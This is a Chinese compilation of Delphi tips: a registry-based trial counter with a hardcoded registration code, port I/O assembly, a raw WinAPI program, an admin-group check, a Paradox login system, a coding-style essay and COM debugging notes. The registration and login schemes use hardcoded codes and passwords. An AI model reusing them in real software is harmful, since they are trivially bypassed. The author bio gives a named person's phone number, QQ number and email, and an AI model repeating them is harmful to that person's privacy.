    从上图可以看出，整个注册机制主要由两个部分组成：检查和注册。通过检查标志值，得出软件是否已注册；若没有注册，则要看它允许使用的次数是否已达到；若可使用的次数已用完，则应提示用户输入注册码，进行注册；只有用户输入的注册码正确时，才让用户继续使用软件，同时将标志置为已注册，让用户永久性使用；否则允许使用的次数未达到，应将次数加一；若用户注册输入的注册码错误或拒绝注册，则直接关闭软件，拒绝其继续使用。当然，在软件允许使用次数未达到时，也应通过菜单项为用户提供机会进行注册登记。以下是笔者在实际开发中，建立注册机制的程序代码及注释。

假设软件的主程序窗口为FORM1，则将该段代码置放在FORM1.CREATE事件中。代码如下：

procedure TForm1.form1create(Sender:
TObject);
var
re_id:integer;
registerTemp :
TRegistry;
inputstr,get_id:string;
dy,clickedok:boolean;
begin
dy:=false;
//软件是否已到注册期、及是否允许继续使用的标志，当值为FALSE是为允许使用。
registerTemp :=
TRegistry.Create; //准备使用注册表
with registerTemp
do
begin
RootKey:=HKEY_LOCAL_MACHINE; //存放在此根下
if
OpenKey('Software\Microsoft\Windows\CurrentVersion\Mark',True) then
//
建一目录，存放标志值。当然也可以存放在已存在的目录下。怎么样，很难发现吧？
begin
if
valueexists('gc_id') then begin
//用gc_id的值作为标志，首先判断其存在否？
re_id:=readinteger('gc_id');//读出标志值
if
(re_id<>0) and (re_id<>100) then begin
//若标志值为0，则说明已注册。
//若不为0且值不到100,说明虽未注册，但允许使用的次数尚未达到。
re_id:=re_id+5;
//允许标志的最大值为100，每次加5，则最多只可用20次。
Writeinteger('gc_id',re_id);//将更新后的标志值写入注册表中。
end;
if
re_id=100 then dy:=true; //假如值已到100，则应注册。
end
else
Writeinteger('gc_id',5);//建立标志，并置初始标志值。
end;
if dy then begin
//若dy值为TRUE，则应提示用户输入注册码，进行注册。
clickedok:=InputQuery('您使用的是非注册软件,请输入注册码：','
',inputstr);
if clickedok then
begin
get_id:=inttostr(27593758*2);//注册码为55187516，当然可加入更杂的算法。
if
get_id=inputstr then
begin
Writeinteger('gc_id',0);//若输入的注册码正确，则将标志值置为0,即已注册。
CloseKey;
Free;
end
else
begin
//若输入的注册码错误，应作出提示并拒绝让其继续使用
application.messagebox('注册码错误!请与作者联系!','警告框',mb_ok);
CloseKey;
Free;
application.terminate;
//中止程序运行，拒绝让其继续使用
end;
end
else begin
//若用户不输入注册码，也应作出提示并拒绝让其继续使用
application.messagebox('请与作者联系，使用注册软件!','警告框',mb_ok);
CloseKey;
Free;
application.terminate;
end;
end;
end;
end;

（注：通过菜单进行注册的方法同本段提示用户进行注册的内容雷同，这里不提供代码。）

    以上程序代码已在DEPHI3.0/WIN95环境中运行通过，并在实际运用中得到验证。对合法用户而言，这样的机制，只要其录入注册码一次就可以，不增加其日常使用的负担；而对非法用户而言，除非他得到注册码或重装WINDOWS95，否则超过使用次数后，将无法继续使用。当然在实际应用中还有许多地方可以进一步加强反破解能力，欢迎朋友们提出批评和指导。


直接操作端口

Borland Delphi2.0/3.0以其强大的功能及方便快捷的程序设计
而为广大程序员所喜爱。但是在用它来编写工业控制程序时,需要对
计算机所连接的外部设备进行操作,即直接对I/O地址进行读写操作,
这时该软件就显得有些美中不足了。
针对这一问题,笔者使用Delphi 2.0/3.0以内嵌汇编的方式编写
了一个模块PORT95. PAS,可方便地实现直接对I/O地址的读写操作,代
码简捷且执行速度较快。
使用时只要将PORT95.PAS加到工程文件中,并在users中加上Port
95,就可以在应用程序中直接对I/O端口进行操作。
具体的实现方法及PORT95.PAS的源代码如下:
unit Port95;
interface
function PortReadByte(Addr:Word) : Byte;
function PortReadWord(Addr:Word) : Word;
function PortReadWordLS(Addr:Word) : Word;
procedure PortWriteByte(Addr:Word; Value:Byte);
procedure PortWriteWord(Addr:Word; Value:Word);
procedure PortWriteWordLS(Addr:Word; Value:Word);
implementation
{*
* Port Read byte function
*Parameter:port address
*Return: byte value from given port
*}
function PortReadByte(Addr:Word) : Byte; assembler; regi
ster;
asm
MOV DX,AX
IN AL,DX
end;
{*
* HIGH SPEED Port Read Word function
* Parameter: port address
* Return: word value from given port
* Comment:may problem with some cards and computers that
can't to access whole word, usualy it works.
*}
function PortReadWord(Addr:Word) : Word; assembler; regi
ster;
asm
MOV DX,AX
IN AX,DX
end;
{*
* LOW SPEED Port Read Word function
* Parameter: port address
*Return:word value from given port
*Comment:work in cases,only to adjust DELAY if need
*}
function PortReadWordLS(Addr:Word) : Word; assembler; re
gister;
const
Delay = 150;
// depending of CPU speed and cards speed
asm
MOV DX,AX
IN AL,DX
//read LSB port
MOV ECX,Delay
@1:
LOOP @1 //delay between two reads
XCHG AH,AL
INC DX
//port+1
IN AL,DX //read MSB port
XCHG AH,AL //restore bytes order
end;
{* Port Write byte function*}
procedure PortWriteByte(Addr:Word; Value:Byte); assemble
r; register;
asm
XCHG AX,DX
OUT DX,AL
end;
{*
* HIGH SPEED Port Write word procedure
* Comment:may problem with some cards and computers that
can't to access whole word, usualy it works.
*}
procedure PortWriteWord(Addr:word; Value:word); assemble
r; register;
asm
XCHG AX,DX
OUT DX,AX
end;
{*
* LOW SPEED Port Write Word procedure
*}
procedure PortWriteWordLS(Addr:word; Value:word); assemb
ler; register;
const
Delay = 150;
// depending of CPU speed and cards speed
asm
XCHG AX,DX
OUT DX,AL
MOV ECX,Delay
@1:
LOOP@1
XCHG AH,AL
INC DX
OUT DX,AL
end;
end. //单元结束
上述PORT95.PAS适用于Delphi 2.0/3.0、Windows 95 操作系统
。

///////////////////////////////////////

function InPort(PortAddr: word): byte;
{$IFDEF VER90}
assembler; stdcall;
asm
mov dx,PortAddr
in al,dx
end;

{$ELSE}

begin
Result := Port[PortAddr];
end;

{$ENDIF}

procedure OutPort(PortAddr: word; Databyte: byte);
{$IFDEF VER90}
assembler; stdcall;
asm
mov al,Databyte
mov dx,PortAddr
out dx,al
end;

{$ELSE}

begin
Port[PortAddr] := DataByte;
end;

{$ENDIF}


用最原始的方法编制Windows应用程序

    Delphi将几乎所有我们要用到的东西进行了封装，让程序员以面向对象的方法来快速高效地完成任务。正如使用MFC编写程序，其生成的最终可执行文件要比使用纯C语言编制的程序大得多，Delphi生成的最终程序往往很大。
    其实Delphi本质上仍是一种编程语言，只不过它的可视化特性太过强大，使得程序员往往忘了这一点。使用纯C语言编制Windows应用程序的朋友都知道，常规的方法是为Windows提供一个回调函数，在这个回调函数中处理各种消息，而程序的入口是一个名为WinMain的函数。
    如果将Delphi看成一个单纯的PASCAL语言，就可以按上述的常规方法编制程序，下面就是这样一个例子，最终生成的可执行程序十分小，只有不到10KB。使用C语言编程的朋友可得会觉得下面的代码很眼熟。

program MyApp;

uses Windows, Messages;

// 回调函数
function AppWindowProc(
hWnd:HWND;
uMsg:UINT;
wParam:WPARAM; lParam:LPARAM):LRESULT;
stdcall;
begin
Result := 0;
case uMsg
of
WM_DESTROY:begin
PostQuitMessage(0);
Exit;
end;
end;
Result
:=
DefWindowProc(hWnd, uMsg, wParam, lParam);
end;

var
wc: TWndClass;
hWnd: Integer;
MSG:
TMsg;
begin
// 程序从这里开始执行
wc.style := CS_VREDRAW or
CS_HREDRAW;
wc.lpfnWndProc := @AppWindowProc;
wc.cbClsExtra
:= 0;

wc.cbWndExtra := 0;
wc.hInstance := HInstance;
wc.hIcon := LoadIcon(0, IDI_APPLICATION);
wc.hCursor := LoadCursor(0, IDC_ARROW);
wc.hbrBackground := (COLOR_BTNFACE+1);
wc.lpszMenuName := nil;
wc.lpszClassName := 'My App';
if RegisterClass(wc)=0 then Exit;
hWnd := CreateWindow(
wc.lpszClassName, 'TEST',
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT,
CW_USEDEFAULT, CW_USEDEFAULT,
0, 0, HInstance, nil);
if hWnd=0 then Exit;
ShowWindow(hWnd, SW_SHOWNORMAL);
while GetMessage(MSG, 0, 0, 0) do begin

TranslateMessage(MSG);
DispatchMessage(MSG);
end;
Halt(MSG.wParam);
end.


获得管理员权限的登录方法

 const
SECURITY_NT_AUTHORITY: TSIDIdentifierAuthority =
(Value: (0, 0, 0, 0, 0, 5));
SECURITY_BUILTIN_DOMAIN_RID = $00000020;
DOMAIN_ALIAS_RID_ADMINS = $00000220;

function IsAdmin: Boolean;
var
hAccessToken: THandle;
ptgGroups: PTokenGroups;
dwInfoBufferSize: DWORD;
psidAdministrators: PSID;
x: Integer;
bSuccess: BOOL;
begin
Result := False;
bSuccess := OpenThreadToken(GetCurrentThread, TOKEN_QUERY, True,
hAccessToken);
if not bSuccess then
begin
if GetLastError = ERROR_NO_TOKEN then
bSuccess := OpenProcessToken(GetCurrentProcess, TOKEN_QUERY,
hAccessToken);
end;
if bSuccess then
begin
GetMem(ptgGroups, 1024);
bSuccess := GetTokenInformation(hAccessToken, TokenGroups,
ptgGroups, 1024, dwInfoBufferSize);
CloseHandle(hAccessToken);
if bSuccess then
begin
AllocateAndInitializeSid(SECURITY_NT_AUTHORITY, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, psidAdministrators);
{$R-}
for x := 0 to ptgGroups.GroupCount - 1 do
if EqualSid(psidAdministrators, ptgGroups.Groups[x].Sid) then
begin
Result := True;
Break;
end;
{$R+}
FreeSid(psidAdministrators);
end;
FreeMem(ptgGroups);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if isAdmin then
begin
ShowMessage('以系统管理员身份登录');
end;
end.

投稿人：grhunter　投稿日期：2001-3-28 17:05:00


建立应用软件注册安全机制
xieyj

摘　要：建立应用软件注册安全机制
关键字：应用软件 安全
类　别：系统控制
    软件的安全性是个永恒的话题，一直困扰着人们，程序员们常常因此熬夜。Novell 公司的网络操作系统NetWare 以其完善可靠的安全管理机制著称，为实现用户登录的安全性和防止非法入侵者闯入，系统提供了几种有效的限制措施和检测功能。本文讨论如何建立完善的软件注册安全机制，有效地管理用户登录，为应用软件提供可靠的保护，并在Delphi 3.0 下实现。

    Delphi 作为一个优秀的编程工具，功能极其强大，令开发周期大大缩短，生成的代码运行速度快，使得Windows 软件设计成为一种乐趣。基本思路是：建立Paradox 格式的用户帐户表Users.DB，并加密保护，由管理员维护。预先在此表中登记并有注册权限的用户，可持本人有效口令登录进入系统。

    实现步骤如下：

    1 ．在应用软件主目录（假设为C:\Register）下创建两个子目录，分别命名为Login 和Data。

    2 ．从Delphi 的Tools 菜单中启动Database Desktop，并选择Tools/AliasManager …创建一个新别名。方法是：在Alias Manager 对话框中点New，给出新别名UserInfo，并指向C:\Register\Data 目录，按Keep New、OK 等按钮保存新别名。

    3 ．利用Database Desktop 创建Paradox 5.0 for Windows 数据表Users.DB，结构见表1。事实上，对于商业软件还需要更多的域。

表1 表Users.DB 的结构
域名类型大小关键字说明
Name A 16 * 用户名
Password A 16 * 注册口令
Fullname A 32 用户全名
Group I 用户组号
Enabled L 注册允许

    4 ．设定Name, Group 和Enabled 为非空域(Required Field)，Group 的最小值为0，最大值为3，默认值为3，Enabled 的默认值为True。用户组0 为系统管理员，可进行几乎任何操作；用户组1 为软件操作人员，可进行除用户帐户管理以外的操作，包括建立和删除数据；用户组2 为普通用户，可使用系统资源，无修改权限，而用户组3 仅可浏览系统有限信息。

    5 ．用口令"UserPassword" 保护Users.DB 表, 存于Data 目录下。利用Database Desktop 向表中输入若干样本用户（见表2），然后关闭DatabaseDesktop。

表2 表Users.DB 的样本用户
Name Password Fullname Group Enabled
Supervisor AAAAAA Super User 0 True
Director BBBBBB Director User 1 True
Guest 3 True
User1 CCCCCC General User1 1 False
User1 DDDDDD General User1 2 True
User2 EEEEEE General User2 3 True

    表2 显示，允许同一用户以不同身份（用户组）登录进入系统，享有不同的权限。如用户User1，以不同密码登记，分属用户组1 和2。

    6 ．返回Delphi IDE，新建项目Register.dpr 并存入C:\Register 目录，主窗体单元命名为Main.pas。用户注册成功后，方能启动主窗体进入系统。本系统仅显示用户信息及登录的日期和时间以表示注册成功（见图5），并不做其它任何事情，这里便是读者应用系统的接口。为此，在主窗体上放入一个TGroupBox 组件，TLabel 和TEdit 组件各五个。将所有TEdit 的Text 属性清空，ReadOnly 属性值设为True，窗体和组件其余属性按表3 设置。

    7 ．创建主窗体的OnActivate 事件处理程序，登录成功并激活主窗体时执行，显示用户信息、登录日期和时间。过程如下：

procedure TMainForm.FormActivate(Sender: TObject);
begin
if Time< =StrToTime('12:00:00') then
Caption:=' 上午好，您已成功登录！'
else
Caption:=' 下午好，您已成功登录！';
// 显示登录用户信息、登录日期和时间
NameEdit.Text:=LoginUser.UserName;
FullNameEdit.Text:=LoginUser.UserFullName;
GroupEdit.Text:=IntToStr(LoginUser.UserGroup);
DisplayDateEdit.Text:=DateToStr(Date);
DisplayTimeEdit.Text:=TimeToStr(Time);
end;

表3 主窗体中组件属性设置
组件属性设置
Form1 Caption
Name MainForm
Position poScreenCenter
GroupBox1 Caption 用户信息
Label1 Caption 用户名称：
Label2 Caption 用户全名：
Label3 Caption 用户组号：
Label4 Caption 登录日期：
Label5 Caption 登录时间：
Edit1 Name NameEdit
Edit2 Name FullnameEdit
Edit3 Name GroupEdit
Edit4 Name DisplayDateEdit
Edit5 Name DisplayTimeEdit
    8 ．数据模板。选择File/New Data Module 建立数据模板LogDataModule，放入一个Ttable 组件，如图1。属性按表4 设置，命名其单元为MD.pas，存入Login 目录。

表4 数据模板中组件属性设置
组件属性设置
Table1 DatabaseName UserInfo
Name UsersTable
TableName Users.DB
    9 ．创建注册窗体。选择File/New Form 创建一个新窗体，并加入组件TLabel、TEdit 和TbitBtn 各两个。窗体和组件属性按表5 设置，命名其单元为Login.pas，存于Login 目录。

表5 注册窗体中组件属性设置
组件属性设置
Form2 ActiveControl UserNameEdit
Caption 请注册
Name LoginDialogForm
Position poScreenCenter
Label1 Caption 用户：
Label2 Caption 密码：
Edit1 Name LoginNameEdit
Text
Edit2 Name PasswordEdit
PasswordChar *
Text
BitBtn1 Caption 注册(&L)
Enabled False
Kind bkOK
Name LoginBitBtn
BitBtn2 Caption 取消(&C)
Enabled True
Kind bkCancel
Name CancelBitBtn

    10 ．选择File/New 命令，从New Items 的New 页中选择Unit 项建一个无窗体单元Addition.pas 存入Login 目录，在其interface 段输入下列语句：

uses Classes, Forms, Sysutils;
type
TApplicationUser=class(TComponent)
private
FUserName: string;
FFullName: string;
FUserGroup: Integer;
public
property UserName: string read
FUserName write FUserName;
property UserFullName: string read
FFullName write FFullName;
property UserGroup: Integer read
FUserGroup write FUserGroup;
end;
var
LoginUser: TApplicationUser;
    在implementation 段加入下列语句：

initialization
LoginUser:=TapplicationUser.Create(Application);
    11 ．创建注册窗体(LoginDialogForm) 的OnCreate 事件处理程序。在
private 段中声明CountDown 为Integer 变量，作为计数器，并将下述语句
插入begin 与end 之间：

CountDown:=3; // 允许尝试注册3 次

    12 ．建立用户名输入框(LoginNameEdit) 的OnChange 事件处理程序，使窗体LoginDialogForm 创建时注册按钮为灰色，用户输入登录名后才可用。不难实现，源代码略。

    13 ．创建注册过程。双击注册按钮(LoginBitBtn)，在begin 和end 之间输入其OnClick 事件处理程序代码：

ModalResult:=mrNone;
try
Session.AddPassword('UserPassword');
LogDataModule.UsersTable.Open;
//注册信息处理
if not LogDataModule.UsersTable.FindKey
([LoginNameEdit.Text,PasswordEdit.Text]) then
begin
//处理注册次数
dec(CountDown);
if CountDown< =0 then ModalResult:=mrCancel else
begin
  MessageBeep($FFFF);
  Application.MessageBox('请您重试一次!',
  '无效注册信息',mb_iconstop+mb_OK);
  //重设输入焦点
  LoginNameEdit.SetFocus;
end;
  exit;
end;
//检查注册允许值
if not LogDataModule.UsersTable.FieldByName
('Enabled').AsBoolean then
begin
  MessageBeep($FFFF);
  Application.MessageBox( '抱歉，您不能进入系统！',
  '使用权限终止',mb_iconexclamation+mb_OK);
  ModalResult:=mrCancel;
  exit;
end;
//获取注册用户信息
with LogDataModule do
begin
  LoginUser.UserName：=UsersTable.FieldByName（'Name'）。AsString；
  LoginUser.UserFullName:=UsersTable.FieldByName('Fullname').AsString;
  LoginUser.UserGroup:=UsersTable.FieldByName('Group').AsInteger;
End;
ModalResult:=mrOK;
//关闭表，清除密码
finally
LogDataModule.UsersTable.Close;
Session.RemovePassword('UserPassword');
end;
    14 ．在Main.pas 单元的uses 中加入"Addition"，在Login.pas 单元的implementation 段增加uses 语句：

uses
MD, Addition;

    15 ．打开过程文件Register.dpr，在uses 语句中加入"Controls"，将"Application.run;" 改为下列语句，只有注册成功时才启动系统，同时释放注册窗体, 以确保安全和减少内存占用。

if LoginDialogForm.ShowModal=mrOK then
begin
LoginDialogForm.Free;
Application.Run;
end;

    16 ．编译、运行。注册窗口见图2，输入用户名和密码后点" 注册" 按钮。

    如果注册信息有误，系统出现提示框，允许重新注册，见图3。若三次尝试均不成功，注册窗口将保护性关闭。

    访问权已被管理员终止的用户（Enabled 的值为False），例如用户User1 以口令CCCCCC 注册至用户组1，系统拒绝进入，见图4。

    注册成功后将启动系统主程序。例如用户Supervisor 以口令AAAAAA 注册，见图5。

    上述方案具有以下特点：

    1 ．Supervisor 用户具有至高无上的权利，由系统创建，不能删除，仅Password 和Fullname 字段的值允许自行修改。主要负责系统维护和用户帐户管理等工作，是系统的永久性特权用户。

    2 ．确保用户帐户表Users.DB 的安全致关重要，本方案采用了较为可靠的关键性技术，就是注册过程（见步骤13）中"try …finally …end"结构的应用。仅当用户按下" 注册" 按钮时，注册模块转送表Users.DB 的密码并将其打开，以处理注册信息。而无论成功与否，在finally 部分都能及时关闭表Users.DB，并立即清除内存中的密码。

    3 ．用户帐户管理模块设在主程序中，完成表Users.DB 的维护功能，包括建立用户帐户和用户组，增、删用户，分配访问权限等。只有Supervisor 或其授权用户才可进入。

    4 ．组帐户管理：用户按不同级别分组，再按组进行权限分配，以简化管理。如系统可根据登录用户所属的用户组，十分方便地屏蔽相应菜单项，以达到限制用户使用权限的目的。对用户群大的系统，此项技术的优越性尤为显著。

    5 ．默认帐户限制：建立用户帐户时，系统默认其Group=3，仅具备浏览有限信息之权限，不致因管理员一时疏忽使新建用户越权使用，危及系统安全。

    6 ．单独帐户限制：用户注册时，必须提供完整的个人有效信息才能进入系统。

    7 ．注册允许限制：管理员可随时取消或恢复单个用户、用户组甚至系统所有用户（Supervisor 除外）的注册权限，只需设置注册允许字段Enabled 的值为False 或True。

    8 ．非法入侵限制：三次注册尝试不成功便保护性关闭注册窗口，以防非法非法入侵者无限制尝试。

    本文介绍了应用软件注册安全性问题的综合解决方案，容易实现，便于扩充-- 如增加注册时间限制和记帐收费功能等，可建立较完善的注册安全机制，适合大型商用软件开发。


编码的艺术
hardy

摘　要：讨论编码的艺术
关键字：风格，编码，标准
类　别：观点滤镜
  我在本文中要谈的不是编码的技术实现，我所关注的是关于编码的风格的问题。我在编写了e速的编码规范之后，产生了要写一些关于程序编码风格的念头；因此，就有了以下的文章，这些仅仅是本人的想法，可能在文章中还有一些未尽如人意的地方，所以肯请大家能够给与谅解。
  很多人在谈到编码的艺术时，总会说我的程序怎么怎么的厉害，功能多么的强大，好像什么事情都能完成一样；但是去运行他的程序，bug不断；连他自己都不知道错在了什么地方。打开他的程序一看，代码写的凌乱不堪；命名上不规范，为了偷懒和简便有些命名干脆就用一个字母或者其他的简单符号代替，甚至于有些代码连他自己也搞不清是干什么了，更不要说怎样让别人去修改了….本人编码也快4个年头了，像上述的例子遇见过不少，整个程序改动起来实在是头疼。
  的确，一件好的艺术品不在于其功能是多么的完善，而在于别人欣赏起来是否有它内在的美和是否很容易就把它从杂货堆里一眼就能辨认出来；毕竟它是艺术品而非日用品。我们写程序也是同样，如果程序中的格式很随意，例如对数组做循环，一会儿采用下标变量从下到上的方式，一会儿又用从上到下的方式；对字符串一会儿用s t r c p y做复制，一会儿又用f o r循环做复制；等等。这些变化就会使人很难看清实际上到底是怎么回事了。
写好一个程序，当然需要使它符合语法规则、修正其中的错误和使它运行得足够快，但是实际应该做的远比这多得多。程序不仅需要给计算机读，也要给程序员读。一个写得好的程序比那些写得差的程序更容易读、更容易修改。经过了如何写好程序的训练，生产的代码更可能是正确的。

    注释：注释是帮助程序读者的一种手段。但是，如果在注释中只说明代码本身已经讲明的事情，或者与代码矛盾，或是以精心编排的形式干扰读者，那么它们就是帮了倒忙。最好的注释是简洁地点明程序的突出特征，或是提供一种概观，帮助别人理解程序。在标注注释的同时，应该注意下面的问题：

    不要大谈明显的东西。注释不要去说明明白白的事，比如i + +能够将i值加1等等。注释应该提供那些不能一下子从代码中看到的东西，或者把那些散布在许多代码里的信息收集到一起。当某些难以捉摸的事情出现时，注释可以帮助澄清情况。如果操作本身非常明了，重复谈论它们就是画蛇添足了；给函数和全局数据加注释。注释当然可以有价值。对于函数、全局变量、常数定义、结构和类的域等，以及任何其他加上简短说明就能够帮助理解的内容，我们都应该为之提供注释。全局变量常被分散使用在整个程序中的各个地方，写一个注释可以帮人记住它的意义，也可以作为参考。放在每个函数前面的注释可以成为帮人读懂程序的台阶。如果函数代码不太长，在这里写一行注释就足够了。有些代码原本非常复杂，可能是因为算法本身很复杂，或者是因为数据结构非常复杂。在这些情况下，用一段注释指明有关文献对读者也很有帮助。此外，说明做出某种决定的理由也很有价值。
  职业程序员也常被要求注释他们的所有代码。但是，应该看到，盲目遵守这些规则的结果却可能是丢掉了注释的真谛。注释是一种工具，它的作用就是帮助读者理解程序中的某些部分，而这些部分的意义不容易通过代码本身直接看到。我们应该尽可能地把代码写得容易理解。在这方面你做得越好，需要写的注释就越少。好的代码需要的注释远远少于差的代码。
编码的风格：全局变量应该采用具有描述意义的名字，局部变量用短名字。函数采用动作性的名字。给神秘的数起个名字。现实中存在许多命名约定或者本地习惯。常见的比如：指针采用以p结尾的变量名，例如n o d e p；全局变量用大写开头的变量名，例如G l o b a l；常量用完全由大写字母拼写的变量名，如C O N S T A N T S等。命名约定能使自己的代码更容易理解，对别人写的代码也是一样。这些约定也使人在写代码时更容易决定事物的命名。对于长的程序，选择那些好的、具有说明性的、系统化的名字就更加重要。

    保持一致性。要准确。以缩行形式显示程序结构。使用表达式的自然形式。利用括号排除歧义。分解复杂的表达式。要清晰。当心副作用。使用一致的缩行和加括号风格。为了一致性，使用习惯用法。用else-if 处理多路选择。避免使用函数宏。给宏的体和参数都加上括号。这些都是很琐碎的事情，但却又是非常有价值的，就像保持书桌整洁能使你容易找到东西一样。与你的书桌不同的是，你的程序代码很可能还会被别人使用。
用缩行显示程序的结构。采用一种一致的缩行风格，是使程序呈现出结构清晰的最省力的方法。
    用加括号的方式排除二义性。括号表示分组，即使有时并不必要，加了括号也可能把意图表示得更清楚。在混合使用互相无关的运算符时，多写几个括号是个好主意。C语言以及与之相关的语言存在很险恶的优先级问题，在这里很容易犯错误。例如，由于逻辑运算符的约束力比赋值运算符强，在大部分混合使用它们的表达式中，括号都是必需的。
利用语言去计算对象的大小。不要大谈明显的东西。给函数和全局数据加注释。不要注释不好的代码，应该重写。不要与代码矛盾。澄清情况，不要添乱。
界面的风格：隐蔽实现的细节。不要在用户背后搞小动作。在各处都用同样方式做同样的事。释放资源与分配资源应该在同一层次进行。在低层检查错误，在高层处理。只把异常用在异常的情况。

    写良好的代码更容易阅读和理解，几乎可以保证其中的错误更少。进一步说，它们通常比那些马马虎虎地堆起来的、没有仔细推敲过的代码更短小。在这个拼命要把代码送出门、去赶上最后期限的时代，人们很容易把风格丢在一旁，让将来去管它们吧。但是，这很可能是一个代价非常昂贵的决定。上面的一些陈述性的言语充分的说明了，如果对好风格问题重视不够，程序中哪些方面可能出毛病。草率的代码是很坏的代码，它不仅难看、难读，而且经常崩溃。好风格应该成为一种习惯。如果你在开始写代码时就关心风格问题，如果你花时间去审视和改进它，你将会逐渐养成一种好的编程习惯。一旦这种习惯变成自动的东西，你的潜意识就会帮你照料许多细节问题，甚至你在工作压力下写出的代码也会更好


兔子简介

网名：ligwin(本来想叫liguang，可是后来发现，几乎所有我想注册的地方这个名字都被别人给抢注了（大富翁论坛没有），没有办法就只有用这个名字了。这个名字是突然想起来的，不要怀疑我与微软有什么关系）。

真实姓名：李光（名字不太好听，不过大家看习惯也就好了）。

其它名称：兔子（这个名字绝不是我自己想叫的，而是我的OICQ头像用的是一个蓝色的小兔子，也不知道什么时候起，就开始有人叫我兔子了，而且这个名字也是越传越广，以后连HUBDOG也管我叫兔子了，于是我想叫就叫吧:->）。

年龄：22岁（正处在一个无知、无畏的阶段，而且小弟没有读过大学，总感觉比受过高等教育的人差一段，所以正在努力的学习，争取早一天赶上）。

姓别：男（玩程序的，MM少，所以我不是）。

照片：暂时（以前在我主页大巴的主页上有，可是后来....哎，不提了，一切都呜乎哀哉了。不过我长得还是满帅的，信不信收你）。

联系方式：手机是13660321903。OICQ是15337785，e-mail地址是：ligwin@21cn.com。其它的暂时不说。

最后说一下，各位兄弟姐妹千万别把我当大侠，其实小弟的水平很菜的，真的。之所以能上宝典，主要是因为HUBDOG急需TIPS而我又与HUBDOG是老乡的缘故吧，有点走后门的嫌疑:->。不过我还是希望能与各位进行交流，大家相互取长补短，共同进步吗。如果想找我按照以上的通讯方式与我进行联系就好了。

召集人：

呵呵，李光现在在开发网络方面的程序，他答应我在下一版中增加网络开发的内容，如果到时不交出来，看我怎么对付你^_*,兔子走着瞧！！


DELPHI中定义局部静态集合

const T:test=();

const T:test=(X:10;Y:100);


Delphi COM编程的一个BUG

由于工作需要，得在一个DELPHI写的普通DLL中来调用一个VC写的进程内COM组件来实现功能。DLL很顺利就编写成功，但是在使用一个EXE程序来调试这个DLL时，DLL即总是报异常错误。，由于DLL所调用的这个使用VC写的这个COM组件在EXE中调用调试完全通过，所以其出错的可能性极小。我又非常的仔细检查了个用DELPHI写的DLL，也没有发现错误，却发现这个异常使用try和except还是可以拦住的，也就是说肯定是DELPHI本向所产生的异常。这就奇怪了，难道是DELPHI本身的问题造成的这种情况，我不敢肯定，所以只得从VCL源码一级来对这个程序进行除错。

在DLL中是COM对象是通过调用DELPHI的RTL函数CreateComObject来建立的，于是我先从这个函数入手开始调试。这个RTL函数很简单，只有一行代码：

OleCheck(CoCreateInstance(ClassID, nil, CLSCTX_INPROC_SERVER or

CLSCTX_LOCAL_SERVER, IUnknown, Result));

即使用Windows API函数CoCreateInstance函数来建立并返回COM组件的实例。这个API函数外面套了一层OleCheck函数，Delphi RTL函数OleCheck的作用是如果CoCreateInstance没有返回S_OK即COM组件建立成功，那么OleCheck将产生一个异常。我程序当中的异常会不会是这OleCheck函数调用所报出来的呢，于是我试着将OleCheck去掉，让把CoCreateInstance函数把其返回值显示出来。我试着运行修改过后的程序，呵呵CoCreateInstnace函数所返回的值果然不对，是2147746288十六进制数是800401F0。在MSDN中查得此值表示的含意是CoInitialize函数没有被调用。CoInitialize是COM组件的初始化函数，是DELPHI封装COM时绝对应该负责调用的东西，难道这次的错误真是由于没有调用CoInitialize函数所造成的，我半信半疑。试着将CoInitialize函数的调用加到了DLL单元的initialization部分，将CoUninitialize函数加到了DLL单元的finalization部分。再次使用外部EXE来调试这个DLL，果然不出错了。

错误是找到了，但是错误是怎样造成的呢。经过进一步的查找。发现错误出在Delphi的ComObj单元initialization部分。此处有以下一段代码：

if not IsLibrary then

begin

SaveInitProc := InitProc;

InitProc := @InitComObj;

end;

这段代码判断当前程序是否是一个DLL（通过IsLibrary变量来判断）如果不是的话，则将初始化的过程设为InitComObj函数。而DELPHI执行调用CoInitialize函数的操作正是在这个InitComObj函数中调用的，难快会出错。最终究其原因可能是宝兰的开发人员只注意到了ActiveX Library这类进程内COM框架的组件出始化的情况，而忘记了还可能有在普通DLL中调用COM组件来实现功能的情况造成了上述的错误。至此问题全部解决，不过笔者还想多说两句，就笔者认为对COM的支持是DELPHI做得比较差的地方之一，像这类错误在VC当中就根本不会出现的，真的是很希望宝兰的开发人员能在DELPHI6中把DELPHI对COM的支持做得更好，使DELPHI变得更加的完美。


COM中分配内存的注意事项

我发现DELPHI的内存分配和释放函数GetMem和FreeMem最好不要在COM组件的编写过程中使用

否则可能会产生错误.

事情的经历是这样的,由于工作需要,要将一个VC写的DLL用DELPHI封装成为COM组件,在COM

中我需要分配一些内存然后传给VC写的这个DLL由他款充后然后再由我使用.

就是这样一个过程,在使用内存的时候我使用的是GetMem和FreeMem来进行的,程序开始运行

的时候没有问题,可是当一个操作连续跳几次之后问题就来了,灾难性错误,这种错误虽然在

COM组件的编写过程中常见,但是也绝对是令人头痛的事情.于是我开始找错.

最初我怀疑错误是VC DLL填写我分配的内存区所造成的,可是后来经过查找后这种可能性被

排除.这时我就已经感觉到可能是由DELPHI中的内存分配函数与COM组件兼容性不好,所造成

的这个问题,但是又一时没有其它的函数替换.

万般无奈之下向HUBDOG请教,被告之,在COM中分配内存最好使用IMalloc接口来实现

我就象是得到了救命稻草一样,马上在程序中试了一下,果然如此.看来问题的确是由DELPHI

的内存分配函数所造成的.

补充说明一点:出错的代码段是使用GetMem分配了1.4K左右的内存,而只分配了几百字节的代

码段则没有事情.

来自：Hongjiang, 时间：2001-4-9 22:39:30, ID：497062

不同的开发环境分配内存的方式是不一样的，COM是基于二进制的对象重用方式，

为了能够在不同的环境中使用COM组件，COM对内存的分配和释放是有要求的，即

要通过IMalloc接口来分配和释放内存(IMalloc::Alloc, IMalloc::Free),或者

调用CoTaskMemAlloc, CoTaskMemFree。同时，COM对内存的分配和释放的职责

也是有规定的，对于[in]参数，内存应该由Client分配和释放，对于[out]参数，

内存由Server分配，但是由Client释放，对于[in,out]参数，内存可以在Client

端分配，在Server端可以被释放，然后再分配，最后在Client端释放。

COM其实对一个熟悉C++的程序员来说并不是很困难，仔细研究一下从类重用方式

转化到二进制重用的方式所碰到的问题，就会明白COM为什么会是这样的，而且本质

上来说，COM和Class没有多少区别。


TCanvas的问题

